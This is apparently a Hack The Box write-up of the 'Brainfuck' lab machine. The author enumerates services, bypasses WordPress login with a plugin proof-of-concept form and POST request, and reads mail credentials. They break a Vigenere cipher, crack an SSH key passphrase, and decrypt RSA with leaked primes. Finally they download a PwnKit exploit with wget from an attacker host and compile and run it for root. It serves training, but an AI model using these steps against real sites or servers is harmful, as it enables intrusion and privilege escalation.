Summary:

First released in 2017, Brainfuck is one of the earlier HTB boxes. The difficulty is rated as insane, but by today’s standard, it’s probably just hard or even medium. It involves a WordPress privilege escalation exploit, interacting with mail protocols, and attacking two encryption algorithms. Escalating to root wasn’t in the intended path, but since the box is 7 years old now, there’s 2 ways to obtain a root shell.


Enumeration:

Nmap:

Kali
┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ sudo nmap --min-rate 1000 -p- 10.129.228.97

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-27 17:01 ACDT
Nmap scan report for 10.129.228.97
Host is up (0.34s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 133.23 seconds


┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ sudo nmap -A -p 22,25,110,143,443 10.129.228.97

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-27 17:07 ACDT
Nmap scan report for 10.129.228.97
Host is up (0.34s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
|   256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_  256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp  open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) PIPELINING TOP UIDL USER AUTH-RESP-CODE CAPA RESP-CODES
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS more IDLE have AUTH=PLAINA0001 OK post-login ENABLE ID listed IMAP4rev1 Pre-login capabilities LITERAL+ SASL-IR
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| tls-nextprotoneg: 
|_  http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|phone|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|5.X (90%), Crestron 2-Series (86%), Google Android 4.X (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/o:google:android:4.0 cpe:/o:linux:linux_kernel:5.0 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 3.10 - 4.11 (90%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.16 (90%), Linux 3.16 - 4.6 (90%), Linux 3.2 - 4.9 (90%), Linux 3.8 - 3.11 (90%), Linux 4.2 (90%), Linux 4.4 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)
HOP RTT       ADDRESS
1   342.40 ms 10.10.14.1
2   341.83 ms 10.129.228.97

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 269.04 seconds


Interestingly, only HTTPS is open, as there’s no port 80. It’s SSL certificate revealed the host name and two subdomains. I’ll add all those to /etc/hosts.

# HTB machine Brainfuck
10.129.228.97   brainfuck.htb   www.brainfuck.htb   sup3rs3cr3t.brainfuck.htb

There’s also several mail ports open.

TCP443 - HTTPS:

www.brainfuck.htb redirects back to brainfuck.htb, which is a simple WordPress page with a post by admin. It also contains an email orestis@brainfuck.htb.

Wappalyzer detected the WordPress version to be 4.7.3, which was released in March 2017. Such an old version is bound to have lots of vulnerabilities.

WPScan:

As expected, WPScan found a lot of vulnerabilities, including multiple RCE exploits.

Kali
┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ wpscan --api-token $WPSCAN_API --url https://brainfuck.htb --disable-tls-checks

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.

[+] URL: https://brainfuck.htb/ [10.129.228.97]
[+] Started: Tue Feb 27 18:54:11 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: nginx/1.10.0 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://brainfuck.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: https://brainfuck.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://brainfuck.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
 | Found By: Rss Generator (Passive Detection)
 |  - https://brainfuck.htb/?feed=rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
 |  - https://brainfuck.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
 |
 | [!] 85 vulnerabilities identified:
 |
 
 <..SNIP..>

[+] WordPress theme in use: proficient
 | Location: https://brainfuck.htb/wp-content/themes/proficient/
 | Last Updated: 2024-02-21T00:00:00.000Z
 | Readme: https://brainfuck.htb/wp-content/themes/proficient/readme.txt
 | [!] The version is out of date, the latest version is 8.5
 | Style URL: https://brainfuck.htb/wp-content/themes/proficient/style.css?ver=4.7.3
 | Style Name: Proficient
 | Description: Proficient is a Multipurpose WordPress theme with lots of powerful features, instantly giving a prof...
 | Author: Specia
 | Author URI: https://speciatheme.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.0.6 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://brainfuck.htb/wp-content/themes/proficient/style.css?ver=4.7.3, Match: 'Version: 1.0.6'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] wp-support-plus-responsive-ticket-system
 | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Last Updated: 2019-09-03T07:57:00.000Z
 | [!] The version is out of date, the latest version is 9.1.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 6 vulnerabilities identified:
 |
 | [!] Title: WP Support Plus Responsive Ticket System < 8.0.0 – Authenticated SQL Injection
 |     Fixed in: 8.0.0
 |     References:
 |      - https://wpscan.com/vulnerability/f267d78f-f1e1-4210-92e4-39cce2872757
 |      - https://www.exploit-db.com/exploits/40939/
 |      - https://lenonleite.com.br/en/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/
 |      - https://plugins.trac.wordpress.org/changeset/1556644/wp-support-plus-responsive-ticket-system
 |
  <..SNIP..> 
 |
 | [!] Title: WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
 |     Fixed in: 8.0.0
 |     References:
 |      - https://wpscan.com/vulnerability/b1808005-0809-4ac7-92c7-1f65e410ac4f
 |      - https://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
 |      - https://packetstormsecurity.com/files/140413/
 |
 | [!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
 |     Fixed in: 8.0.8
 |     References:
 |      - https://wpscan.com/vulnerability/85d3126a-34a3-4799-a94b-76d7b835db5f
 |      - https://plugins.trac.wordpress.org/changeset/1763596
 |
 | Version: 7.1.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:43 <=============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:43

[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 22

[+] Finished: Tue Feb 27 18:55:13 2024
[+] Requests Done: 188
[+] Cached Requests: 5
[+] Data Sent: 46.192 KB
[+] Data Received: 17.819 MB
[+] Memory used: 237.57 MB
[+] Elapsed time: 00:01:02


Ignoring all findings later than 2017, there’s a few findings related to the Responsive Ticket System plugin, one of which is a privilege escalation attack.

sup3rs3cr3t.brainfuck.htb:

This subdomain is a secret forum. The “Development” thread is readable without authentication, but nothing interesting is found, apart from the username orestis.

I can sign up as a new user, but nothing new is found.


Exploitation:

WordPress Privilege Escalation:

According to WPScan’s post, the vulnerability stems from wp_set_auth_cookie() and allows logging in as anyone without the password. It also provided a handy proof of concept. I modified the URL to point to the correct host:

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

Opening the exploit simply shows a form asking for a username and a login button. I entered admin, and clicked Login.

It sent a POST request to /wp-admin/admin-ajax.php with the username and loginGuestFacebook as the POST data.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: brainfuck.htb
Content-Length: 50
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

username=admin&email=sth&action=loginGuestFacebook

Then I reloaded the WordPress page, and I’m now logged in as admin.

The admin dashboard can also be accessed.

Once admin access is gained, a typical exploit chain is to edit the WordPress theme’s PHP files and smuggle in a web shell (see this HackTricks page for more details). However it won’t work here as all the PHP files are configured to be read-only on the server.

I also tried uploading a plugin, but it resulted in similar errors due to the file permission settings. However, I noticed there’s already 4 plugin installed, one of which relates to SMTP.

I checked its settings, and it contains credentials for orestis.

Although the password is masked, its plaintext value can be retrieved by inspecting the source.

TCP110 - POP3:

This HackTricks page provides a nice guide on how to interact with a mail server. An email client such as Thunderbird can be used to connect to the server, but the easiest way to do so is via nc:

Kali
┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ nc brainfuck.htb 110

+OK Dovecot ready.

USER orestis
+OK

PASS kHGuERB29DNiNE
+OK Logged in.


There’s two mails in this mailbox.

Kali
list
+OK 2 messages:
1 977
2 514

The first mail is just the default email received when setting up a WordPress site, nothing interesting found here.

Kali
retr 1
+OK 977 octets
Return-Path: <www-data@brainfuck.htb>
X-Original-To: orestis@brainfuck.htb
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 33)
	id 7150023B32; Mon, 17 Apr 2017 20:15:40 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: New WordPress Site
X-PHP-Originating-Script: 33:class-phpmailer.php
Date: Mon, 17 Apr 2017 17:15:40 +0000
From: WordPress <wordpress@brainfuck.htb>
Message-ID: <00edcd034a67f3b0b6b43bab82b0f872@brainfuck.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8

Your new WordPress site has been successfully set up at:

https://brainfuck.htb

You can log in to the administrator account with the following information:

Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php

We hope you enjoy your new site. Thanks!

--The WordPress Team
https://wordpress.org/

However, the second one is from the secret forum, and contains another set of credentials for orestis.

Kali
retr 2
+OK 514 octets
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
	id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards

Secret Forum:

With the new set of credentials, I can now log in to the secret forum as orestis. There’s two more threads found here.

I’ll check “SSH Access” first:

It’s a pretty savage conversation between orestis and admin, and mentioned that SSH now only accepts key-based authentication. It’s also worth noting that all of orestis’ messages ends with “Orestis - Hacking for fun and profit”.

Based on their conversation, the second thread should contain information about the SSH key, but all messages are encrypted.

Notice that all of orestis’ messages end with 6 words, each time the same length. I’m guessing those are the encrypted version of his signature “Orestis - hacking for fun and profit”. This is likely a Vigenere cipher, which essentially loops over the key and shifts each letter of the plaintext based on the key character.

I’m not good at explaining cryptography, so here’s a page that describes the algorithm in more details and with several examples.

Breaking Vigenere Cipher:

Since the ciphertext and part of the plaintext are known, it’s possible to extract the encryption key by comparing each letter of the plaintext with the corresponding letter of the ciphertext. I’ll do this with a Python script:

def crack(pt, enc):
    chars = "abcdefg"
    print(f"pt : {pt}")
    print(f"enc: {enc}")
    # enc = pt + key (mod 26)
    # key = enc - pt (mod 26)
    print("key: ", end="")
    for i in range(len(pt)):
        if pt[i].isalpha():
            key = (ord(enc[i]) - ord(pt[i])) % 26
            print(chr(key + ord('a')), end='')
        else:
            # ignore whitespace
            print(' ', end='')
    print("")
    return

def main():
    orig = "Orestis - Hacking for fun and profit"

    enc1 = "Pieagnm - Jkoijeg nbw zwx mle grwsnn"
    enc2 = "Wejmvse - Fbtkqal zqb rso rnl cwihsf"
    enc3 = "Qbqquzs - Pnhekxs dpi fca fhf zdmgzt"

    crack(orig, enc1)
    print()

    crack(orig, enc2)
    print()

    crack(orig, enc3)
    return

main()

and the key is likely fuckmybrain.

Kali
┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ python crack.py

pt : Orestis - Hacking for fun and profit
enc: Pieagnm - Jkoijeg nbw zwx mle grwsnn
key: brainfu   ckmybra inf uck myb rainfu

pt : Orestis - Hacking for fun and profit
enc: Wejmvse - Fbtkqal zqb rso rnl cwihsf
key: infuckm   ybrainf uck myb rai nfuckm

pt : Orestis - Hacking for fun and profit
enc: Qbqquzs - Pnhekxs dpi fca fhf zdmgzt
key: ckmybra   infuckm ybr ain fuc kmybra


With the key, I can decrypt all the messages. The GeeksforGeeks page linked above contains a Python decrypt function, which I modified slightly to make it print out all the decrypted messages. decode.fr also has a Vigenere decoding page.

def decrypt(enc, key):
    keylen = len(key)
    index = 0
    for i in range(len(enc)):
        if enc[i].isalpha():
            # pt = enc - key (mod 26)
            k = index % keylen
            pt = (ord(enc[i].lower()) - ord(key[k]) + 26) % 26
            pt += ord('a')
            if enc[i].isupper():
                print(chr(pt).upper(), end="")
            else:
                print(chr(pt), end="")
            index += 1
        else:
            # ignore non-alphabetic characters
            print(enc[i], end="")
    print()
    print()
    return

def main():
    key = "fuckmybrain"

    messages = [
        "Mya qutf de buj otv rms dy srd vkdof :)\nPieagnm - Jkoijeg nbw zwx mle grwsnn",
        "Xua zxcbje iai c leer nzgpg ii uy...",
        "Ufgoqcbje....\nWejmvse - Fbtkqal zqb rso rnl cwihsf",
        "Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :)\nmnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja",
        "Si rbazmvm, Q'yq vtefc gfrkr nn ;)\nQbqquzs - Pnhekxs dpi fca fhf zdmgzt"
        ]
    
    for msg in messages:
        decrypt(msg, key)

    return

main()

The decrypted messages are as follows:

Orestis: Hey give me the url for my key bitch :)

Admin: Say please and i just might do so…

Orestis: Pleeeease….

Admin: There you go you stupid fuck, I hope you remember your key password because I dont :) https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

Orestis: No problem, I’ll brute force it ;)

Once again it’s quite savage, and the URL points to the SSH key.

Kali
┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ curl https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa -k

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
B2nS4+9CYBK8IR3Vt5Fo7PoWBCjAAwWYlx+cK0w1DXqa3A+BLlsSI0Kws9jea6Gi
W1ma/V7WoJJ+V4JNI7ufThQyOEUO76PlYNRM9UEF8MANQmJK37Md9Ezu53wJpUqZ
7dKcg6AM/o9VhOlpiX7SINT9dRKaKevOjopRbyEFMliP01H7ZlahWPdRRmfCXSmQ
zxH9I2lGIQTtRRA3rFktLpNedNPuZQCSswUec7eVVt2mc2Zv9PM9lCTJuRSzzVum
oz3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCV0mD97WS+1ydWEPeCph06Mem
dLR2L1uvBGJev8i9hP3thp1owvM8HgidyfMC2vOBvXbcAA3bDKvR4jsz2obf5AF+
Fvt6pmMuix8hbipP112Us54yTv/hyC+M5g1hWUuj5y4xovgr0LLfI2pGe+Fv5lXT
mcznc1ZqDY5lrlmWzTvsW7h7rm9LKgEiHn9gGgqiOlRKn5FUl+DlfaAMHWiYUKYs
LSMVvDI6w88gZb102KD2k4NV0P6OdXICJAMEa1mSOk/LS/mLO4e0N3wEX+NtgVbq
ul9guSlobasIX5DkAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVSlJcOrvNmrIy59
krKVtulxAejVQzxImWOUDYC947TXu9BAsh0MLoKtpIRL3Hcbu+vi9L5nn5LkhO/V
gdMyOyATor7Amu2xb93OO55XKkB1liw2rlWg6sBpXM1WUgoMQW50Keo6O0jzeGfA
VwmM72XbaugmhKW25q/46/yL4VMKuDyHL5Hc+Ov5v3bQ908p+Urf04dpvj9SjBzn
schqozogcC1UfJcCm6cl+967GFBa3rD5YDp3x2xyIV9SQdwGvH0ZIcp0dKKkMVZt
UX8hTqv1ROR4Ck8G1zM6Wc4QqH6DUqGi3tr7nYwy7wx1JJ6WRhpyWdL+su8f96Kn
F7gwZLtVP87d8R3uAERZnxFO9MuOZU2+PEnDXdSCSMv3qX9FvPYY3OPKbsxiAy+M
wZezLNip80XmcVJwGUYsdn+iB/UPMddX12J30YUbtw/R34TQiRFUhWLTFrmOaLab
Iql5L+0JEbeZ9O56DaXFqP3gXhMx8xBKUQax2exoTreoxCI57axBQBqThEg/HTCy
IQPmHW36mxtc+IlMDExdLHWD7mnNuIdShiAR6bXYYSM3E725fzLE1MFu45VkHDiF
mxy9EVQ+v49kg4yFwUNPPbsOppKc7gJWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
CvfPRpmLURQnvly89XX97JGJRSGJhbACqUMZnfwFpxZ8aPsVwsoXRyuub43a7GtF
9DiyCbhGuF2zYcmKjR5EOOT7HsgqQIcAOMIW55q2FJpqH1+PU8eIfFzkhUY0qoGS
EBFkZuCPyujYOTyvQZewyd+ax73HOI7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----


The key itself is password protected, so I’ll send it to john for cracking, and found the passphrase: 3poulakia!.

Kali
┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ ssh2john orestis.key > orestis.hash

┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt orestis.hash

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia!       (orestis.key)  
1g 0:00:00:10 DONE (2024-02-27 21:36) 0.09765g/s 1216Kp/s 1216Kc/s 1216KC/s 3q60zh..3pornuthin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


With this, I can SSH into the box as orestis and grab the user flag.

Kali
┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ chmod 600 orestis.key

┌──(ch3ng㉿localhost)-[~/machines/brainfuck]
└─$ ssh orestis@brainfuck.htb -i orestis.key

Warning: Permanently added 'brainfuck.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'orestis.key': 
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


You have mail.
Last login: Mon Oct  3 19:44:28 2022 from 10.10.14.23


orestis@brainfuck:~$ id

uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

User Flag:

Brainfuck
orestis@brainfuck:~$ cat user.txt

2c11cfbc************************


Escalation from orestis:

Brainfuck
orestis@brainfuck:~$ ls -la

total 56
drwxr-xr-x 7 orestis orestis 4096 Oct  3  2022 .
drwxr-xr-x 3 root    root    4096 Sep 15  2022 ..
lrwxrwxrwx 1 root    root       9 Sep 15  2022 .bash_history -> /dev/null
-rw-r--r-- 1 orestis orestis  220 Apr 13  2017 .bash_logout
-rw-r--r-- 1 orestis orestis 3771 Apr 13  2017 .bashrc
drwx------ 2 orestis orestis 4096 Sep 15  2022 .cache
drwxr-xr-x 3 root    root    4096 Sep 15  2022 .composer
-rw------- 1 orestis orestis  619 Apr 29  2017 debug.txt
-rw-rw-r-- 1 orestis orestis  580 Apr 29  2017 encrypt.sage
drwx------ 3 orestis orestis 4096 Sep 15  2022 mail
-rw------- 1 orestis orestis  329 Apr 29  2017 output.txt
-rw-r--r-- 1 orestis orestis  655 Apr 13  2017 .profile
drwx------ 8 orestis orestis 4096 Sep 15  2022 .sage
drwx------ 2 orestis orestis 4096 Sep 15  2022 .ssh
-r-------- 1 orestis orestis   33 Apr 29  2017 user.txt

There’s several interesting files found in his home directory.

encrypt.sage:

nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

It’s a pretty straightforward Sage script that reads the root flag, encrypt it with RSA, and stores the ciphertext in output.txt.

Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

RSA Encryption:

I’ll let this page to do the explanation of RSA. The security of RSA heavily relies on the two large primes (p and q) being kept secret. However, the Sage script writes both p and q into debug.txt, as well as the public exponent (e). This is essentially exposing its private key, which makes decryption possible.

Root Flag:

This thread basically describes the exact scenario we’re facing, and it also contains a Python decrypt script. I’ll slightly modify it as well as updating the values:

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def fromhex(hex):
    ascii = ""
    for i in range(0, len(hex), 2):
        dec = int(hex[i:i+2], 16)
        ascii += chr(dec)
    return ascii

def main():

    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    print( "n:  " + str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )
    print( "pt(hex): " + str(hex(pt)) )
    print( "flag: " + fromhex(str(hex(pt))[2:]))

if __name__ == "__main__":
    main()

And like that, the root flag is owned.

Brainfuck
orestis@brainfuck:~$ python rsa.py

n:  8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750
pt(hex): 0x3665666331613564626238393034373531636536353636613330356262386566
flag: 6efc1a5d************************


Root Shell:

The intended exploit chain ends on the RSA decryption, as a path for root shell wasn’t designed by the creator. Because the box is now 7 years old, there are 2 ways to escalate to root.

PwnKit (CVE-2021-4034):

The first way is to exploit PwnKit. At this point it’s a pretty well-known exploit that plagues many old Linux servers, and many exploit code can be found. I’ll transfer this one to the box.

Brainfuck
orestis@brainfuck:/tmp$ wget http://10.10.14.20:8000/main.zip

--2024-02-27 14:05:25--  http://10.10.14.20:8000/main.zip
Connecting to 10.10.14.20:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6457 (6.3K) [application/zip]
Saving to: ‘main.zip’

main.zip                                                   100%[=================>]   6.31K  --.-KB/s    in 0.002s  

2024-02-27 14:05:26 (2.78 MB/s) - ‘main.zip’ saved [6457/6457]

orestis@brainfuck:/tmp$ unzip main.zip

Archive:  main.zip
55d60e381ef90463ed35f47af44bf7e2fbc150d4
   creating: CVE-2021-4034-main/
  inflating: CVE-2021-4034-main/.gitignore  
  inflating: CVE-2021-4034-main/LICENSE  
  inflating: CVE-2021-4034-main/Makefile  
  inflating: CVE-2021-4034-main/README.md  
  inflating: CVE-2021-4034-main/cve-2021-4034.c  
  inflating: CVE-2021-4034-main/cve-2021-4034.sh  
   creating: CVE-2021-4034-main/dry-run/
  inflating: CVE-2021-4034-main/dry-run/Makefile  
  inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c  
  inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c  
  inflating: CVE-2021-4034-main/pwnkit.c

gcc and make are both available, so I’ll compile it on the box and run it.

Brainfuck
orestis@brainfuck:/tmp/CVE-2021-4034-main$ make

cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.

orestis@brainfuck:/tmp/CVE-2021-4034-main$ ./cve-2021-4034

root@brainfuck:/tmp/CVE-2021-4034-main# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare),1000(orestis)

